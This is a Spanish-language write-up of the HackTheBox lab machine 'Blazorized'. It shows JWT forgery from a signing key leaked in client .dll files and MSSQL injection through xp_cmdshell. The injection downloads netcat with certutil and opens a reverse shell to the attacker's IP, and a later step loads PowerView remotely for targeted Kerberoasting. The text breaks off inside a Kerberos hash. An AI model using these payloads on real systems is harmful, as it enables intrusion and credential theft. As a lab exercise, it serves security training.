Blazorized – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Hard / Difícil
- Platform: HackTheBox
Resumen Link to heading
“Blazorized” es una máquina de dificultad Difícil de la plataforma HackTheBox
. La máquina víctima se encuentra corriendo un servidor web. Luego de inspeccionar su código fuente, somos capaces de encontrar y extraer archivos .dll
. Luego de aplicar un poco de ingeniería inversa sobre estos archivos, somos capaces de encontrar la firma para generar Jason Web Tokens
(JWT
) y generar así un token para un sitio de administrador. Este sitio de administrador tiene un panel vulnerable a SQL Injection
, lo cual también nos permite ejecutar comandos; ganando así acceso inicial a la máquina víctima. Una vez dentro de la máquina víctima, somos capaces de encontrar un usuario kerberosteable, extraer su hash, crackearlo y obtener su contraseña. Este usuario puede ejecutar archivos en un directorio que se encuentra ejecutando scripts .bat
; de manera que podemos agregar un script malicioso y ganar acceso como un nuevo usuario. Este nuevo usuario final puede performar un ataque DCSync
, pudiendo así extraer el hash NTLM
del usuario Administrator
y ganar así total control sobre la máquina víctima.
User / Usuario Link to heading
Empezamos con un escaneo con Nmap
para ver los puertos abiertos usando protocolo TCP
:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.22
y aplicando algunos escaneos de reconocimiento con la flag -sVC
sobre estos puertos:
❯ sudo nmap -sVC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49674,49675,49680,49683,49707,49776 10.10.11.22 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 20:50 -04
Nmap scan report for 10.10.11.22
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://blazorized.htb
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-22 00:50:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
| 10.10.11.22\BLAZORIZED:
| Instance name: BLAZORIZED
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1115.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
| TCP port: 1433
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.10.11.22\BLAZORIZED:
| Target_Name: BLAZORIZED
| NetBIOS_Domain_Name: BLAZORIZED
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: blazorized.htb
| DNS_Computer_Name: DC1.blazorized.htb
| DNS_Tree_Name: blazorized.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after: 2054-07-22T00:46:19
|_ssl-date: 2024-07-22T00:51:31+00:00; +2s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49776/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RC0+
|_ssl-date: 2024-07-22T00:51:31+00:00; +1s from scanner time.
| ms-sql-ntlm-info:
| 10.10.11.22:49776:
| Target_Name: BLAZORIZED
| NetBIOS_Domain_Name: BLAZORIZED
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: blazorized.htb
| DNS_Computer_Name: DC1.blazorized.htb
| DNS_Tree_Name: blazorized.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-22T00:46:19
|_Not valid after: 2054-07-22T00:46:19
| ms-sql-info:
| 10.10.11.22:49776:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1115.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 49776
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-07-22T00:51:21
|_ start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.10 seconds
Podemos ver múltiples puertos abiertos: 53
Domain Name System
, 80
HTTP
, 88
Kerberos
, 135
Microsoft RPC
, 389
Lightweight Directory Access Protocol
, 445
Server Message Block
(SMB
), 1433
Microsoft SQL Server
, 5985
Windows Remote Management
; entre muchos otros.
Del output del escaneo para el sitio HTTP
en el puerto 80
podemos ver que redirige al dominio http://blazorized.htb
. De manera que agregamos este dominio a nuestro archivo /etc/hosts
:
❯ echo '10.10.11.22 blazorized.htb' | sudo tee -a /etc/hosts
Visitando http://blazorized.htb
muestra una página web:
Podemos ver la sección Check for Updates
en el lado izquierdo. Clickeando en estra redirige a http://blazorized.htb/check-updates
:
La misma página dice que ésta se encuentra en fase de pruebas/alfa, donde sólo un admin puede hacer llamados a una API. La misma página dice que clickeando en el botón Check for Updates
permite impersonar, de manera segura, al usuario administrador. Sin embargo, si clickeamos en esta opción la página nos devuelve un error:
❌ Failed to Update Blazorized's Content!
Para ver qué es lo que sucede cuando clickeamos en Check for Updates
interceptamos la petición con Burpsuite
. Haciendo esto interceptamos la siguiente petición:
OPTIONS /posts HTTP/1.1
Host: api.blazorized.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: authorization
Referer: http://blazorized.htb/
Origin: http://blazorized.htb
DNT: 1
Connection: close
Está llamando al subdominio api.blazorized.htb
. Agregamos este nuevo subdominio a nuestro archivo /etc/hosts
; de manera que éste se ve ahora como:
❯ tail -n1 /etc/hosts
10.10.11.22 blazorized.htb api.blazorized.htb
Una vez agregado, si clickeamos en Check for Updates
el mensaje mostrado cambia. Ahora la petición tiene éxito (como se puede ver en la parte inferior derecha):
✅ Successfully Updated Blazorized's Content!
Notamos que al hacer click, la parte izquierda de la página cambia. El contenido mostrado es nuevo, pero no muestra nada de información interesante/sensible. Sólo tópicos relacionados a Ciberseguridad (Red/Blue Teaming), algunos papers y otras cosillas:
Ya en este punto decidimos buscar por vhosts
. Para ello usamos ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://blazorized.htb/ -H 'Host: FUZZ.blazorized.htb' -t 50 -fs 144
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://blazorized.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.blazorized.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 144
________________________________________________
admin [Status: 200, Size: 2072, Words: 149, Lines: 28, Duration: 176ms]
:: Progress: [19966/19966] :: Job [1/1] :: 255 req/sec :: Duration: [0:01:23] :: Errors: 0 ::
Encontramos un nuevo subdominio: admin.blazorized.htb
Agregamos, nuevamente, este subdominio a nuestro archivo /etc/hosts
:
❯ tail -n1 /etc/hosts
10.10.11.22 blazorized.htb api.blazorized.htb admin.blazorized.htb
Sólo por curiosidad -esto es irrelevante en el WriteUp-, reviso qué es lo que sucede con el subdominio http://api.blarozied.htb
, dado que éste no fue encontrado por el escaneo con ffuf
. Revisamos el dominio con cURL
junto con los headers de la petición con -I
:
❯ curl -I http://api.blazorized.htb
HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Server: Microsoft-IIS/10.0
Date: Mon, 22 Jul 2024 01:31:04 GMT
Retorna código 404
, lo cual es curioso.
Visitando http://admin.blarozied.htb
muestra un nuevo panel de login:
Pruebo algunas cosas como credenciales por defecto, ataques sencillos y otras cosas, pero no pasa nada. De manera que volveremos a este sitio más tarde.
Revisando el código fuente de, por ejemplo, http://blazorized.htb/post/1c391f9c-fd3e-4d86-b966-9a3e5d7e3d28
muestra:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<title>Mozhar's Digital Garden</title>
<base href="/" />
<link rel="icon" type="image/png" href="icon-192.png" />
<link href="_content/MudBlazor/MudBlazor.min.css" rel="stylesheet" />
<link href="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.css" rel="stylesheet" />
<link href="Blazorized.DigitalGarden.styles.css" rel="stylesheet"/>
</head>
<body style="min-height:100vh;display:flex;flex-direction:column">
<div id="app">
<h1 style="text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)">
Please Wait, Loading...
</h1>
</div>
<div id="blazor-error-ui">
An unhandled error has occurred.
<a href="" class="reload">Reload</a>
<a class="dismiss">🗙</a>
</div>
<script src="_framework/blazor.webassembly.js"></script>
<script src="_content/MudBlazor/MudBlazor.min.js"></script>
<script src="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.js"></script>
<footer style="margin-top:auto">
<span style="display:block;text-align:center;font-size:20px;">
Built with ❤️ using Blazor WebAssembly
</span>
</footer>
</body>
</html>
El texto muestra que está usando MudBlazor
. Una rápida búsqueda de internet nos lleva a MudBlazor - Blazor Component Library
:
Mudblazor
is a Blazor Component Library based on Material Design. MudBlazor
is easy to use and extend, especially for .NET
devs because it uses almost no Javascript
.Es una libreríia para Blazor
.
De manera que buscando por what is blazor
("¿qué es blazor?") encontramos:
Blazor
is a feature of ASP.NET
for building interactive web UIs using C#
instead of JavaScript
. It’s real .NET
running in the browser on WebAssembly
.Es una herramienta que nos permite crear web de interfaz para usuarios usando C#
en lugar de Javascript
(que es el lenguaje que ocupan la gran mayoría de la competencia).
Además, este corto video es especialmente interesante para saber qué hace Blazor
. Recomiendo echarle una ojeadita.
Basados, además, en el nombre de la máquina (lo cual siempre da una pista de cómo resolverla) está relacionada a Blazor
. Del código fuente podemos ver un directorio _framework/blazor.webbassembly.js
. El código en sí no es muy bonito, de manera que podemos usar una página como https://beautifier.io/ para embellecerlo. Luego de analizar el código (que es la parte “tediosa” de esta máquina) hay una porción de código la cual se ve como:
<SNIP>
class at {
constructor(e, t) {
this.bootConfig = e, this.applicationEnvironment = t
}
static async initAsync(e, t) {
const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json");
let r;
r = n ? "string" == typeof n ? await a(n) : await n : await a("_framework/blazor.boot.json");
const o = t || r.headers.get("Blazor-Environment") || "Production",
s = await r.json();
return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new at(s, o);
function a(e) {
return fetch(e, {
method: "GET",
credentials: "include",
cache: "no-cache"
})
}
}
}
<SNIP>
donde _framework/blazor.boot.json
se ve interesante.
Visitando http://blazorized.htb/_framework/blazor.boot.json
usando cURL
muestra información:
{
"cacheBootResources": true,
"config": [],
"debugBuild": false,
"entryAssembly": "Blazorized.DigitalGarden",
"icuDataMode": 0,
"linkerEnabled": true,
"resources": {
"assembly": {
"Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go=",
"Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI=",
"Blazorized.Shared.dll": "sha256-Bz/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY=",
<SNIP>
},
"extensions": null,
"lazyAssembly": {
"Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK/fqqQRjGFUW0jAQQ="
},
"libraryInitializers": null,
"pdb": null,
"runtime": {
"dotnet.7.0.15.x46e81vra7.js": "sha256-MHuxwxeVFybuBBTAWeZrvoStZpW+H4ThSaRcFvrfqXM=",
"dotnet.timezones.blat": "sha256-aHk3Pm2JXopn6UPLJtovAqIdIk8GyIMzGm450cli9UE=",
"dotnet.wasm": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k=",
"icudt_CJK.dat": "sha256-SZLtQnRc0JkwqHab0VUVP7T3uBPSeYzxzDnpxPpUnHk=",
"icudt_EFIGS.dat": "sha256-8fItetYY8kQ0ww6oxwTLiT3oXlBwHKumbeP2pRF4yTc=",
"icudt_no_CJK.dat": "sha256-L7sV7NEYP37/Qr2FPCePo5cJqRgTXRwGHuwF5Q+0Nfs=",
"icudt.dat": "sha256-tO5O5YzMTVSaKBboxAqezOQL9ewmupzV2JrB5Rkc8a4="
},
"runtimeAssets": {
"dotnet.wasm": {
"behavior": "dotnetwasm",
"hash": "sha256-fMuaMGy/7q8rXL+GyH9Gu04mJDwQ/OSYXD9ezf+Fz4k="
}
},
"satelliteResources": null
}
}
Hay algunos nombres de archivo .dll
. Dado que, como se dijo, Blazor
funciona con C#
puede que éstos contengan algo interesante.
Basados en esta documentación, Blazored.LocalStorage.dll
muestra algo de nuestro interés:
Blazor.LocalStorage
package consumes the Blazor.SourceGenerators
package. It exposes a source generated IStorageService
interface specific to Blazor WebAssembly
and the localStorage
Web API.Recordemos que el sitio estaba haciendo una petición a api.blazorized.htb
como admin
, de manera que es posible que las credenciales se hallen dentro de estos recursos. Para ello necesitamos descargar estos recursos/archivos. Luego de buscar estos archivos, podemos encontrar uno en http://blazorized.htb/_framework/Blazored.LocalStorage.dll
. Podemos descargar este archivo simplemente visitando esta url en un navegador de internet como Firefox
.
Pasamos este archivo .dll
a una máquina Windows
y lo analizamos usando dnSpy
. Podemos ver el repositorio que se está usando:
Podemos ver el repositorio https://github.com/Blazored/LocalStorage.
Blazored LocalStorage
is a library that provides access to the browsers local storage APIs for Blazor
applications. An additional benefit of using this library is that it will handle serializing and deserializing values when saving or retrieving them.Blazor
que nos permite lidiar con los accesos para APIs.El único problema es que nosotros estamos buscando credenciales/información sensible en este archivo .dll
, pero no vemos nada tristemente. Inspeccionamos entonces los otros archivos .dll
mencionados en http://blazorized.htb/_framework/blazor.boot.json
.
Eventualmente, el archivo Blazorized.Helpers.dll
(descargable al visitar el link http://blazorized.htb/_framework/Blazorized.Helpers.dll
) muestra algo:
Encontramos una llave de seguridad (o firma) para un Jason Web Token
en Blazorized.Helpers -> JWT
:
8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a
Además, una porción del código muestra:
<SNIP>
public static class JWT
{
// Token: 0x06000008 RID: 8 RVA: 0x00002164 File Offset: 0x00000364
private static SigningCredentials GetSigningCredentials()
{
SigningCredentials result;
try
{
result = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)), "HS512");
}
catch (Exception)
{
throw;
}
return result;
}
<SNIP>
y
// Token: 0x04000007 RID: 7
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
// Token: 0x04000008 RID: 8
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
// Token: 0x04000009 RID: 9
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
// Token: 0x0400000A RID: 10
private static readonly string superAdminRoleClaimValue = "Super_Admin";
// Token: 0x0400000B RID: 11
private static readonly string issuer = "http://api.blazorized.htb";
// Token: 0x0400000C RID: 12
private static readonly string apiAudience = "http://api.blazorized.htb";
// Token: 0x0400000D RID: 13
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";
Notemos 2 cosas antes de continuar. Tenemos 2 funciones en este código. Una llamada GenerateTemporaryJWT
la cual es:
public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
{
string result;
try
{
List<Claim> list = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.postsPermissionsClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.categoriesPermissionsClaimValue)
};
string text = JWT.issuer;
string text2 = JWT.apiAudience;
IEnumerable<Claim> enumerable = list;
SigningCredentials signingCredentials = JWT.GetSigningCredentials();
DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
}
catch (Exception)
{
throw;
}
return result;
}
que genera, como su nombre lo dice, un JWT
temporal; y tenemos otra función llamada GenerateSuperAdminJWT
:
public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
{
string result;
try
{
List<Claim> list = new List<Claim>
{
new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
};
string text = JWT.issuer;
string text2 = JWT.adminDashboardAudience;
IEnumerable<Claim> enumerable = list;
SigningCredentials signingCredentials = JWT.GetSigningCredentials();
DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
}
catch (Exception)
{
throw;
}
return result;
}
Que genera lo que parece ser un token para un adminsitrador.
Lo que trataremos entonces es tratar de “replicar” el código que genera este token para crear un nuevo token SuperAdmin
. Basados en la porción de código anterior, para crear un nuevo token “privilegiado” éste requiere de los siguientes items:
- Un email (
superadmin@blazorized.htb
) - Un usuario/user (
Super_Admin
) - Un parámetro “issuer” (
http://api.blazorized.htb
) - Un parámetro “audience” (
http://admin.blazorized.htb
)
Creamos entonces un simple script Python
para generar el token usando la “secret key” hallada junto con los campos requeridos:
#!/usr/bin/python3
import jwt
import datetime
# Set parameters found
jwt_symmetric_security_key = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a"
super_admin_user = 'Super_Admin'
super_admin_email_claim_value = "superadmin@blazorized.htb"
posts_permissions_claim_value = "Posts_Get_All"
categories_permissions_claim_value = "Categories_Get_All"
issuer = "http://api.blazorized.htb"
audience = "http://admin.blazorized.htb"
def generate_temporary_jwt(expiration_duration_in_seconds=60):
"""
Create the temporal token
"""
expiration_time = datetime.datetime.utcnow() + datetime.timedelta(seconds=expiration_duration_in_seconds)
claims = {
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": super_admin_email_claim_value,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": super_admin_user,
"iss": issuer,
"aud": audience,
"exp": expiration_time
}
token = jwt.encode(claims, jwt_symmetric_security_key, algorithm="HS512")
return token
if __name__ == "__main__":
jwt_token = generate_temporary_jwt()
print(jwt_token)
Si lo ejecutamos el script nos genera un token:
❯ python3 generate_JWT_token.py
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIxNjIyMTkyfQ.odLhTL_xCynUd24s78wRnyg18N1D9wF2F5jmyCBqgs8WJ3-BfhfHPrqO4h2OqFyjlFBjDy0xUX37y0dLELdefA
Sólo para reviar si esto ha funcionado, podemos revisar el JWT
generado en https://jwt.io/:
Continuemos. La parte “audience” en un JWT
muestra las páginas para el cual el JWT
está destinado para usarse. Es usado para asegurarse de que el token sólamente es aceptado por la “audiencia” (audience); que en este caso en específico es http://admin.blazorized.htb
. De maner que, basado en aquello, asumimos que el token generado es útil para el sitio web http://admin.blazorized.htb
hallado previamente. Notemos además que la duración del token es de tan sólo 60 segundos, así que al generar el token tendremos apenas 1 minuto para usarlo (basados en la variable expiration_duration_in_seconds
en el script). Si este no funciona debemos de re-generar un nuevo token.
(Otra manera sería aumentar el tiempo de expiración del token de 60
a un valor mucho mayor en el script, pero eso honestamente no lo probé. Lo dejo como tarea para el lector)
Luego de generar el token, en un navegador de internet como Firefox
, vamos a http://admin.blarozized.htb
, luego vamos al Storage
(Ctrl + Shift + I
), luego Local Storage
y agregamos (clickeando en el símbolo +
) nuevos datos a almacenar. Como nombre (key) pongo jwt
, y como valor (value) pongo el JWT
por nuestro script de Python
:
Recargamos la página y estamos dentro:
…La página da una gran sugerencia
Al lado izquierdo de la página hay una herramienta de búsqueda en Check Duplicate Post Titles
. Clickeando en éste muestra:
Recordemos que esta máquina se encontraba corriendo un servicio Microsoft SQL Server
(MSSQL
). De manera que este buscador puede estar usando ese servicio.
Luego de intentar muchas cosas, y dado que está usando una base de datos SQL
, intentamos algunas SQL Injections
. Para ello empezamos un listener por trazas ICMP
en nuestra máquina de atacante usando tcpdump
:
❯ sudo tcpdump -ni tun0 icmp
Finalmente, una de las inyecciones funciona (basados en payloads de PayloadAllTheThings):
';exec master..xp_cmdshell "ping -n 1 10.10.16.3" --+
Y obtenemos algo en nuestro listener:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:52:11.744937 IP 10.10.11.22 > 10.10.16.3: ICMP echo request, id 1, seq 415, length 40
00:52:11.744948 IP 10.10.16.3 > 10.10.11.22: ICMP echo reply, id 1, seq 415, length 40
Tenemos ejecución remota de comandos.
Por tanto, para enviarnos una reverse shell, pasaremos un binario de netcat
para Windows
a la máquina víctima. Primero, empezamos un servidor temporal Python
HTTP
en el puerto 8000
en nuestra máquina de atacantes ejecutando:
❯ ls && python3 -m http.server 8000
generate_JWT_token.py nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Usamos la herramienta certutil
en la máquina víctima corriendo en la terminal de búsqueda la inyección:
';exec master..xp_cmdshell "C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe" --+
donde 10.10.16.3
es nuestra IP de atacantes.
Luego, en nuestra máquina de atacantes, empezamos un listener con netcat
en el puerto 443
junto con rlwrap
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
Finalmente, ejecutamos el binario de netcat
transferido para enviarnos una reverse shell inyectando el comando:
';exec master..xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e C:\Windows\System32\cmd.exe" --+
y obtenemos una shell como el usuario nu_1055
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 60850
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
blazorized\nu_1055
Podemos leer la flag de usuario en el directorio Desktop de este usuario.
NT Authority/System - Administrador Link to heading
Notamos que este usuario es parte del grupo Normal_Users
:
PS C:\Users\Public\Downloads> net user nu_1055
net user nu_1055
User name NU_1055
Full Name NU_1055
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/25/2024 12:55:06 PM
Password expires Never
Password changeable 2/26/2024 12:55:06 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile C:\Users\NU_1055
Home directory C:\Users\NU_1055
Last logon 7/22/2024 12:16:53 AM
Logon hours allowed All
Local Group Memberships *IIS_IUSRS *Remote Management Use
Global Group memberships *Normal_Users *Domain Users
The command completed successfully.
Pero no veo nada más interesante.
Cambiamos de una CMD
a una Powershell
(simplemente escribimos el comando powershell
) y, luego, subimos el script PowerView.ps1
(el cual puede ser descargado desde su repositorio de Github) a la máquina objetivo. En neustra máquina de atacantes exponemos PowerView.ps1
con python3 -m http.server 8000
y luego ejecutamos en la máquina víctima:
PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')
Una vez importada este script podemos ver si podemos hacer algún usuario kerberosteable. Hay un usuario el cual nos lo permite llamado RSA_4810
:
PS C:\Users\Public\Downloads> Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}
Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='htb/gunzf0x'}
donde serviceprincipalname
pueden ser las palabras que queramos siempre y cuando sigan el formato palabra1/palabra2
.
Entonces solicitamos un ticket para este usuario:
PS C:\Users\Public\Downloads> Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat
Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat
SamAccountName : RSA_4810
DistinguishedName : CN=RSA_4810,CN=Users,DC=blazorized,DC=htb
ServicePrincipalName : htb/gunzf0x
TicketByteHexStream :
Hash : $krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864
